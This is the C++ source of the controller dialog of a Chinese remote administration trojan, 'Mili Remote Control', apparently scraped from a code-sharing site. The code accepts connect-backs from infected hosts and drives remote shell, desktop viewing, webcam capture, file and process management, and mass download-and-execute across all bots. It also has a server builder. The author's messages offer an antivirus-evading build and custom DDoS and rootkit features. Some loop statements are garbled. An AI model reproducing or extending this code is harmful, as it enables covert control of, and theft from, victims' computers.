www.pudn.com > mini_remote.zip > MainCtrlDlg.cpp
// MainCtrlDlg.cpp : implementation file
//
#include "stdafx.h"
#include "MainCtrl.h"
#include "MainCtrlDlg.h"
#include "FileMgrDlg.h"
#include "ProcessDlg.h"
#include "HostSettingDlg.h"
#include "FTPUpdateDlg.h"
#include "UrlDownLoadDlg.h"
#include "MakesrvDlg.h"
NOTIFYICONDATA nid;
void CheckSocketStatic(void *m_Dlg)
{
CMainCtrlDlg *dlg = (CMainCtrlDlg *)m_Dlg;
int n=dlg->m_ListCtrl.GetItemCount();
for(int i=0;im_ListCtrl.GetItemData(i);
int nRet=send(hSocket,"d",1,NULL);
if(nRet==SOCKET_ERROR)
{
if(WSAGetLastError()==WSAEWOULDBLOCK)
{
Sleep(10);
continue;
}
CString str;
str ="[消息] 主机"+dlg->m_ListCtrl.GetItemText(i,0)+"下线了\r\n";
dlg->m_sysmsg+=str;
dlg->SetDlgItemText(IDC_EDIT_MSG,dlg->m_sysmsg);
dlg->m_ListCtrl.DeleteItem(i);
n--;
i--;
str.Format("米莉远程控制v1版 --上线:%d 台",n);
dlg->SetWindowText(str);
}
}//end of for
}
void RemoveAllServer(void *p)
{
CMainCtrlDlg *dlg = (CMainCtrlDlg *)p;
dlg->KillTimer(0);
int n=dlg->m_ListCtrl.GetItemCount();
if (n==0)
{
dlg->SetTimer(0,5000,NULL);
return;
}
COMMAND_MSG msg;
for(int i=0;im_ListCtrl.GetItemData(i);
memset(&msg,0,sizeof(COMMAND_MSG));
msg.msg_id = CMD_REMOVESERVER;
send(hSocket,(char *)&msg,sizeof(msg),NULL);
}
CString str;
str.Format("[消息] %d 条广播信息完成\r\n",n);
dlg->m_sysmsg+=str;
dlg->SetDlgItemText(IDC_EDIT_MSG,dlg->m_sysmsg);
dlg->SetTimer(0,5000,NULL);
}
void ListenThread(void *m_Dlg)
{
CMainCtrlDlg *dlg = (CMainCtrlDlg *)m_Dlg;
HKEY hKey;
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\MiniRemote",0L,KEY_ALL_ACCESS,&hKey) == ERROR_SUCCESS)
{
DWORD dwType;
DWORD dwSize=sizeof(DWORD);
DWORD listen_port;
RegQueryValueEx(hKey,"Listen_Port",NULL,&dwType,(BYTE *)&listen_port,&dwSize);
RegCloseKey(hKey);
}
SOCKADDR_IN serverSockAddr;
SOCKADDR_IN clientSockAddr;
SOCKET serverSocket;
int status;
serverSockAddr.sin_port=htons(ListenPort);
serverSockAddr.sin_family=AF_INET;
serverSockAddr.sin_addr.s_addr=htonl(INADDR_ANY);
serverSocket=socket(AF_INET, SOCK_STREAM, 0);
status=bind(serverSocket, (LPSOCKADDR) &serverSockAddr,sizeof(serverSockAddr));
if (status == SOCKET_ERROR)
return;
status=listen(serverSocket, 5);
if (status == SOCKET_ERROR)
return;
CString str;
str.Format("[消息] 成功在端口 %d 进行侦听上线连接\r\n",ListenPort);
dlg->m_sysmsg+=str;
dlg->SetDlgItemText(IDC_EDIT_MSG,dlg->m_sysmsg);
while(1)
{
SOCKET clientSocket;
int addrLen=sizeof(SOCKADDR_IN);
clientSocket=accept(serverSocket,(LPSOCKADDR) &clientSockAddr,&addrLen);
if (clientSocket == INVALID_SOCKET)
continue;
dlg->AcceptHost(clientSocket,clientSockAddr);
}
}
void RecvHostInfo(void *m_Dlg)
{
CMainCtrlDlg *dlg = (CMainCtrlDlg *)m_Dlg;
int n = dlg->m_ListCtrl.GetItemCount()-1;
SOCKET hSocket = dlg->m_ListCtrl.GetItemData(n);
CString IP = dlg->m_ListCtrl.GetItemText(n,0);
HOST_INFO info;
while(1)
{
int nRet=recv(hSocket,(char *)&info,sizeof(HOST_INFO),NULL);
if(nRet==SOCKET_ERROR)
{
if(WSAGetLastError()==WSAEWOULDBLOCK)
{
Sleep(50);
continue;
}
else
{
dlg->m_ListCtrl.DeleteItem(n);
return;
}
}
else
break;
}
if (info.seq_checksum != 0x12345678)
{
dlg->m_ListCtrl.DeleteItem(n);
return;
}
CString str = "[消息] 有主机上线了:";
str += IP;
str += "\r\n";
dlg->m_sysmsg+=str;
dlg->SetDlgItemText(IDC_EDIT_MSG,dlg->m_sysmsg);
str.Format("米莉远程控制v1版 --上线:%d 台",n+1);
dlg->SetWindowText(str);
dlg->m_ListCtrl.SetItemText(n,1,info.have_vap);
dlg->m_ListCtrl.SetItemText(n,2,info.host_setting);
}
void PLDownLoad(void *p)
{
CMainCtrlDlg *dlg = (CMainCtrlDlg *)p;
dlg->KillTimer(0);
int n=dlg->m_ListCtrl.GetItemCount();
if (n==0)
{
dlg->SetTimer(0,5000,NULL);
return;
}
COMMAND_MSG msg;
for(int i=0;im_ListCtrl.GetItemData(i);
memset(&msg,0,sizeof(COMMAND_MSG));
msg.msg_id = CMD_PLURLDOWNLOAD;
strcpy(msg.wParam,dlg->m_pldownurl.GetBuffer(0));
send(hSocket,(char *)&msg,sizeof(msg),NULL);
}
CString str;
str.Format("[消息] %d 条广播信息完成\r\n",n);
dlg->m_sysmsg+=str;
dlg->SetDlgItemText(IDC_EDIT_MSG,dlg->m_sysmsg);
dlg->SetTimer(0,5000,NULL);
}
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CMainCtrlDlg dialog
CMainCtrlDlg::CMainCtrlDlg(CWnd* pParent /*=NULL*/)
: CDialog(CMainCtrlDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CMainCtrlDlg)
m_sysmsg = _T("");
//}}AFX_DATA_INIT
// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
void CMainCtrlDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CMainCtrlDlg)
DDX_Control(pDX, IDOK, m_btn_ok);
DDX_Control(pDX, IDC_VAPCTRL, m_btn_7);
DDX_Control(pDX, IDC_SETTING, m_btn_6);
DDX_Control(pDX, IDC_SCREENCATCH, m_btn_5);
DDX_Control(pDX, IDC_PROCESS, m_btn_4);
DDX_Control(pDX, IDC_HOSTINFO, m_btn_3);
DDX_Control(pDX, IDC_FILEMANAGER, m_btn_2);
DDX_Control(pDX, IDC_BUTTON_CMD, m_btn_1);
DDX_Control(pDX, IDC_LIST_HOST, m_ListCtrl);
DDX_Text(pDX, IDC_EDIT_MSG, m_sysmsg);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CMainCtrlDlg, CDialog)
//{{AFX_MSG_MAP(CMainCtrlDlg)
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDC_FILEMANAGER, OnFilemanager)
ON_BN_CLICKED(IDC_PROCESS, OnProcess)
ON_WM_TIMER()
ON_WM_LBUTTONDOWN()
ON_WM_DESTROY()
ON_BN_CLICKED(IDC_VAPCTRL, OnVapctrl)
ON_BN_CLICKED(IDC_SCREENCATCH, OnScreencatch)
ON_BN_CLICKED(IDC_SETTING, OnSetting)
ON_BN_CLICKED(IDC_HOSTINFO, OnHostinfo)
ON_BN_CLICKED(IDC_BUTTON_CMD, OnButtonCmd)
//}}AFX_MSG_MAP
ON_MESSAGE(UM_ICONNOTIFY, OnIconNotify)
ON_COMMAND(IDM_ABOUTME, OnMyNotice)
ON_COMMAND(IDM_ABOUTSOFT, OnAboutSoft)
ON_COMMAND(IDM_HELP, OnHelp)
ON_COMMAND(IDM_EXIT, OnExit)
ON_COMMAND(IDM_LOCALSETTING, OnLocalSetting)
ON_COMMAND(IDM_REMOVEALL, OnRemoveAll)
ON_COMMAND(IDM_MAKESERVER, OnMakeServer)
ON_COMMAND(IDM_PLDOWN, OnPLdwonLoad)
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CMainCtrlDlg message handlers
void CMainCtrlDlg::OnIconNotify(WPARAM wParam, LPARAM lParam)
{
switch ((UINT)lParam)
{
case WM_LBUTTONDOWN: // click or dbclick left button on icon
case WM_LBUTTONDBLCLK: // should show desktop
if (!IsWindowVisible())
ShowWindow(SW_SHOW);
else
ShowWindow(SW_HIDE);
break;
case WM_RBUTTONDOWN: // click right button, show menu
CMenu menu;
menu.LoadMenu(IDR_MENU_NOTIFY);
CPoint point;
GetCursorPos(&point);
SetForegroundWindow();
menu.GetSubMenu(0)->TrackPopupMenu(
TPM_LEFTBUTTON|TPM_RIGHTBUTTON,
point.x, point.y, this, NULL);
PostMessage(WM_USER, 0, 0);
break;
}
}
void CMainCtrlDlg::OnMyNotice()
{
CString str;
str="本软件为免费软件,纯属学习研究之用!!!请勿\r\n";
str+="将其用于非法用途。由本软件引起的任何后果\r\n";
str+="均由使用者本人承担,软件作者概不承担任何责任。\r\n\r\n";
str+="该软件可能会被杀毒软件查杀。如果想要个人免杀\r\n";
str+="版的话可以联系我QQ:375858876\r\n发现BUG的话请及时反馈给我,谢谢!\r\n我的邮箱:plunix@163.com\r\n\r\n\r\n";
str+="by 特南克斯";
MessageBox(str,"重要声明",MB_ICONINFORMATION);
}
void CMainCtrlDlg::OnAboutSoft()
{
CString str;
str+="!!!!该版本为正式版!!!\r\n";
str+="屏幕控制还不怎么完善,而且还可能存在一些\r\n";
str+="BUG,如果发现BUG的同志们请及时联系我啊,万分\r\n";
str+="感谢~~\r\n\r\n";
str+="我的联系QQ:375858876\r\n";
str+="我的联系邮箱:plunix@163.com\r\n";
MessageBox(str,"关于...",MB_ICONINFORMATION);
}
void CMainCtrlDlg::OnHelp()
{
char Path[MAX_PATH];
GetTempPath(MAX_PATH,Path);
strcat(Path,"\\Help.chm");
LoadSource(IDR_HELPHTM,"HELPHTM",Path);
ShellExecute(NULL,"open",Path,NULL,NULL,SW_SHOW);
}
void CMainCtrlDlg::OnMakeServer()
{
CMakesrvDlg dlg;
dlg.DoModal();
}
BOOL CMainCtrlDlg::OnInitDialog()
{
CDialog::OnInitDialog();
SetIcon(m_hIcon, TRUE);
SetIcon(m_hIcon, FALSE);
m_btn_ok.LoadBitmaps(IDB_BITMAP1,5, 5, 5, 5, 4);
m_btn_ok.SetFontColor(RGB(100,50,280));
m_btn_1.LoadBitmaps(IDB_BITMAP1,5, 5, 5, 5, 4);
m_btn_1.SetFontColor(RGB(100,50,280));
m_btn_2.LoadBitmaps(IDB_BITMAP1,5, 5, 5, 5, 4);
m_btn_2.SetFontColor(RGB(100,50,280));
m_btn_3.LoadBitmaps(IDB_BITMAP1,5, 5, 5, 5, 4);
m_btn_3.SetFontColor(RGB(100,50,280));
m_btn_4.LoadBitmaps(IDB_BITMAP1,5, 5, 5, 5, 4);
m_btn_4.SetFontColor(RGB(100,50,280));
m_btn_5.LoadBitmaps(IDB_BITMAP1,5, 5, 5, 5, 4);
m_btn_5.SetFontColor(RGB(100,50,280));
m_btn_6.LoadBitmaps(IDB_BITMAP1,5, 5, 5, 5, 4);
m_btn_6.SetFontColor(RGB(100,50,280));
m_btn_7.LoadBitmaps(IDB_BITMAP1,5, 5, 5, 5, 4);
m_btn_7.SetFontColor(RGB(100,50,280));
nid.cbSize = sizeof(nid);
nid.hWnd = m_hWnd;
nid.uID = IDR_MAINFRAME;
nid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP;
nid.uCallbackMessage = UM_ICONNOTIFY;
nid.hIcon = m_hIcon;
CString str = "显示界面";
lstrcpyn(nid.szTip, (LPCSTR)str, sizeof(nid.szTip) / sizeof(nid.szTip[0]));
Shell_NotifyIcon(NIM_ADD, &nid);
LONG lStyle = m_ListCtrl.SendMessage(LVM_GETEXTENDEDLISTVIEWSTYLE);
lStyle |= LVS_EX_GRIDLINES | LVS_EX_FULLROWSELECT;
m_ListCtrl.SendMessage(LVM_SETEXTENDEDLISTVIEWSTYLE, 0,(LPARAM)lStyle);
LV_COLUMN lvc;
lvc.mask = LVCF_TEXT | LVCF_SUBITEM | LVCF_WIDTH;
lvc.iSubItem = 0;
lvc.pszText = (char *)"上线主机IP";
lvc.cx = 100;
m_ListCtrl.InsertColumn(0,&lvc);
lvc.iSubItem = 1;
lvc.pszText = (char *)"视频";
lvc.cx = 50;
m_ListCtrl.InsertColumn(1,&lvc);
lvc.iSubItem =2;
lvc.pszText = (char *)"备注";
lvc.cx = 260;
m_ListCtrl.InsertColumn(2,&lvc);
HKEY hKey;
DWORD listen_port;
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\MiniRemote",0L,KEY_ALL_ACCESS,&hKey) == ERROR_SUCCESS)
{
DWORD dwType;
DWORD dwSize=sizeof(DWORD);
if (RegQueryValueEx(hKey,"Listen_Port",NULL,&dwType,(BYTE *)&listen_port,&dwSize) == ERROR_SUCCESS)
ListenPort = listen_port;
RegCloseKey(hKey);
}
else
{
HKEY hKey;
DWORD dw;
DWORD listen_port = 12345;
ListenPort = listen_port;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\MiniRemote",0L,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dw);
RegSetValueEx(hKey,"Listen_Port",0L,REG_DWORD,(const BYTE *) &listen_port,sizeof(DWORD));
DWORD ext_port = 65521;
RegSetValueEx(hKey,"Extination_Port",0L,REG_DWORD,(const BYTE *)&ext_port,sizeof(DWORD));
RegCloseKey(hKey);
}
LT = AfxBeginThread((AFX_THREADPROC)ListenThread,this);
SetTimer(0,5000,NULL);
return TRUE;
}
void CMainCtrlDlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this);
SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialog::OnPaint();
}
}
HCURSOR CMainCtrlDlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}
void CMainCtrlDlg::OnOK() {}
void CMainCtrlDlg::OnExit()
{
Shell_NotifyIcon(NIM_DELETE, &nid);
exit(0);
}
void CMainCtrlDlg::OnPLdwonLoad()
{
int n=m_ListCtrl.GetItemCount();
if (n==0)
return;
CUrlDownLoadDlg dlg;
if (dlg.DoModal() == IDOK)
{
m_pldownurl = dlg.m_url;
AfxBeginThread((AFX_THREADPROC)PLDownLoad,this);
}
}
void CMainCtrlDlg::OnRemoveAll()
{
AfxBeginThread((AFX_THREADPROC)RemoveAllServer,this);
}
void CMainCtrlDlg::OnLocalSetting()
{
CFTPUpdateDlg dlg;
dlg.DoModal();
}
BOOL CMainCtrlDlg::LoadSource(UINT resoure_id , const char * type , const char * filepath)
{
HRSRC hRsrc = ::FindResource( NULL , MAKEINTRESOURCE( resoure_id ) , type );
if( hRsrc )
{
DWORD size = ::SizeofResource( NULL , hRsrc );
HGLOBAL handle = ::LoadResource( NULL , hRsrc );
if( handle )
{
BYTE *MemPtr = (BYTE *)LockResource( handle );
CFile file;
if( file.Open( filepath , CFile::modeCreate | CFile::modeWrite ) )
{
file.Write( MemPtr , size );
file.Close( );
}
::UnlockResource( handle );
}
::FreeResource( handle );
return TRUE;
}
return FALSE;
}
void CMainCtrlDlg::AcceptHost(SOCKET cs, SOCKADDR_IN csa)
{
SOCKET s = cs;
SOCKADDR_IN addr = csa;
char *IP = inet_ntoa(addr.sin_addr);
int n=m_ListCtrl.GetItemCount();
m_ListCtrl.InsertItem(n,IP);
m_ListCtrl.SetItemData(n,s);
AfxBeginThread((AFX_THREADPROC)RecvHostInfo,this);
}
void CMainCtrlDlg::OnFilemanager()
{
POSITION pos;
pos = m_ListCtrl.GetFirstSelectedItemPosition();
if (pos == NULL)
{
return;
}
int Index = m_ListCtrl.GetNextSelectedItem(pos);
CFileMgrDlg dlg;
dlg.strIP= m_ListCtrl.GetItemText(Index,0);
dlg.m_hConnectSocket = m_ListCtrl.GetItemData(Index);
dlg.DoModal();
}
void CMainCtrlDlg::OnProcess()
{
POSITION pos;
pos = m_ListCtrl.GetFirstSelectedItemPosition();
if (pos == NULL)
{
return;
}
int Index = m_ListCtrl.GetNextSelectedItem(pos);
CProcessDlg dlg;
dlg.strIP= m_ListCtrl.GetItemText(Index,0);
dlg.m_hConnectSocket = m_ListCtrl.GetItemData(Index);
dlg.DoModal();
}
void CMainCtrlDlg::OnTimer(UINT nIDEvent)
{
AfxBeginThread((AFX_THREADPROC)CheckSocketStatic,this);
CDialog::OnTimer(nIDEvent);
}
void CMainCtrlDlg::OnLButtonDown(UINT nFlags, CPoint point)
{
::SendMessage(this->GetSafeHwnd(),WM_SYSCOMMAND,SC_MOVE+HTCAPTION,0);
CDialog::OnLButtonDown(nFlags, point);
}
void CMainCtrlDlg::OnDestroy()
{
Shell_NotifyIcon(NIM_DELETE, &nid);
CDialog::OnDestroy();
}
void CMainCtrlDlg::OnVapctrl()
{
POSITION pos;
pos = m_ListCtrl.GetFirstSelectedItemPosition();
if (pos == NULL)
return;
int Index = m_ListCtrl.GetNextSelectedItem(pos);
SOCKET m_hConnectSocket=m_ListCtrl.GetItemData(Index);
char Path[MAX_PATH];
GetTempPath(MAX_PATH,Path);
strcat(Path,"\\vcap.exe");
LoadSource(IDR_VCAP,"VCAP",Path);
WinExec(Path,SW_SHOW);
HKEY hKey;
DWORD ext_port = 65521;
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\MiniRemote",0L,KEY_ALL_ACCESS,&hKey) == ERROR_SUCCESS)
{
DWORD dwType;
DWORD dwSize=sizeof(DWORD);
if (RegQueryValueEx(hKey,"Extination_Port",NULL,&dwType,(BYTE *)&ext_port,&dwSize) != ERROR_SUCCESS)
ext_port = 65521;
RegCloseKey(hKey);
}
else
ext_port = 65521;
COMMAND_MSG msg;
memset(&msg,0,sizeof(COMMAND_MSG));
msg.msg_id = CMD_VIDEOCAPPREW;
msg.lParam=ext_port;
while(1)
{
int nRet=send(m_hConnectSocket,(char *)&msg,sizeof(msg),NULL);
if(nRet==SOCKET_ERROR)
{
if(WSAGetLastError()==WSAEWOULDBLOCK)
{
Sleep(50);
continue;
}
else
return;
}
else break;
}
}
void CMainCtrlDlg::OnScreencatch()
{
POSITION pos;
pos = m_ListCtrl.GetFirstSelectedItemPosition();
if (pos == NULL)
return;
int Index = m_ListCtrl.GetNextSelectedItem(pos);
SOCKET m_hConnectSocket=m_ListCtrl.GetItemData(Index);
//
char Path[MAX_PATH];
GetTempPath(MAX_PATH,Path);
strcat(Path,"\\DeskTopViewer.exe");
LoadSource(IDR_DESKTOPVIEWER,"DESKTOPVIEWER",Path);
WinExec(Path,SW_SHOW);
HKEY hKey;
DWORD ext_port = 65521;
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\MiniRemote",0L,KEY_ALL_ACCESS,&hKey) == ERROR_SUCCESS)
{
DWORD dwType;
DWORD dwSize=sizeof(DWORD);
if (RegQueryValueEx(hKey,"Extination_Port",NULL,&dwType,(BYTE *)&ext_port,&dwSize) != ERROR_SUCCESS)
ext_port = 65521;
RegCloseKey(hKey);
}
else
ext_port = 65521;
COMMAND_MSG msg;
memset(&msg,0,sizeof(COMMAND_MSG));
msg.msg_id = CMD_REMOTEDESK;
msg.lParam=ext_port;
while(1)
{
int nRet=send(m_hConnectSocket,(char *)&msg,sizeof(msg),NULL);
if(nRet==SOCKET_ERROR)
{
if(WSAGetLastError()==WSAEWOULDBLOCK)
{
Sleep(50);
continue;
}
else
{
return;
}
}
else break;
}
}
void CMainCtrlDlg::OnSetting()
{
POSITION pos;
pos = m_ListCtrl.GetFirstSelectedItemPosition();
if (pos == NULL)
return;
int Index = m_ListCtrl.GetNextSelectedItem(pos);
CHostSettingDlg dlg;
if (dlg.DoModal() != IDOK)
return;
CString str;
str=dlg.m_setting;
SOCKET m_hConnectSocket = m_ListCtrl.GetItemData(Index);
COMMAND_MSG msg;
memset(&msg,0,sizeof(COMMAND_MSG));
msg.msg_id = CMD_SETTING;
strcpy(msg.wParam,str.GetBuffer(0));
while(1)
{
int nRet=send(m_hConnectSocket,(char *)&msg,sizeof(msg),NULL);
if(nRet==SOCKET_ERROR)
{
if(WSAGetLastError()==WSAEWOULDBLOCK)
{
Sleep(50);
continue;
}
else
return;
}
else
{
m_ListCtrl.SetItemText(Index,3,str);
return;
}
}
}
void CMainCtrlDlg::OnHostinfo()
{
CString str;
str="其他的功能,暂时还没有想到要\r\n";
str+="加什么。可以定做!这里留个\r\n";
str+="空出来给一些有特别要求的人\r\n";
str+="比如说DDOS功能,ROOTKIT隐藏\r\n";
str+="IE进程等。\r\n";
MessageBox(str,"呵呵",MB_OK);
}
void CMainCtrlDlg::OnButtonCmd()
{
POSITION pos;
pos = m_ListCtrl.GetFirstSelectedItemPosition();
if (pos == NULL)
return;
int Index = m_ListCtrl.GetNextSelectedItem(pos);
SOCKET m_hConnectSocket=m_ListCtrl.GetItemData(Index);
char Path[MAX_PATH];
GetTempPath(MAX_PATH,Path);
strcat(Path,"\\RemoteCmd.exe");
LoadSource(IDR_REMOTECMD,"REMOTECMD",Path);
WinExec(Path,SW_SHOW);
HKEY hKey;
DWORD ext_port = 65521;
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\MiniRemote",0L,KEY_ALL_ACCESS,&hKey) == ERROR_SUCCESS)
{
DWORD dwType;
DWORD dwSize=sizeof(DWORD);
if (RegQueryValueEx(hKey,"Extination_Port",NULL,&dwType,(BYTE *)&ext_port,&dwSize) != ERROR_SUCCESS)
ext_port = 65521;
RegCloseKey(hKey);
}
COMMAND_MSG msg;
memset(&msg,0,sizeof(COMMAND_MSG));
msg.msg_id = CMD_REMOTECMDCTRL;
msg.lParam=ext_port;
while(1)
{
int nRet=send(m_hConnectSocket,(char *)&msg,sizeof(msg),NULL);
if(nRet==SOCKET_ERROR)
{
if(WSAGetLastError()==WSAEWOULDBLOCK)
{
Sleep(50);
continue;
}
else
{
return;
}
}
else break;
}
}